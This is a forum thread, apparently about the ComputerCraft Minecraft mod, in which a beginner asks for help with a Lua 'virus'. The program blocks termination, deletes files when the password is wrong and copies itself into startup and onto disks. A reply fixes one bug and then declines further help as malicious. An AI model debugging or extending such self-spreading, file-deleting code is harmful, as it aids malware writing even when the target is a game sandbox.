error

uh i created a programm and it doesn't work plz help me im new

os.pullEvent = os.pullEventRaw()
key = read()
–programm–
disk.eject("left")
disk.eject("right")
disk.eject("top")
disk.eject("bottom")
disk.eject("front")
disk.eject("back")
local password = "1337"
print("Enter key for deleting virus…")
local input = read("*")
if input == password then
print("deleting virus…")
shell.run("delete startup")
sleep(5)
print("done!")
os.reboot()
else
print("deleting all files key was wrong…")
sleep(5)
term.clear()
term.setCursorPos(1,1)
term.setTextColor(colors.red)
term.setBackgroundColor(colors.blue)
disk.eject("left")
disk.eject("right")
disk.eject("top")
disk.eject("bottom")
disk.eject("back")
disk.eject("front")
shell.run("delete startup")
shell.run("copy virus startup")
shell.run("delete client")
shell.run("delete server")
shell.run("copy virus client")
shell.run("copy virus server")
shell.run("copy startup disk/startup")
os.shutdown()
end
end
end

Specifying the error code helps to diagnose the problem, but I believe that
"os.pullEvent = os.pullEventRaw()"
is not what you want to do, since that would capture the first event (likely "key_up" from shell) and storing "key_up" in the variable os.pullEvent.
That results in that pullEvent can no longer be called by the read() function. Change that line to
"os.pullEvent = os.pullEventRaw"
and it should work as expected.

There's more to it than that, but these boards are not the place for malicious code.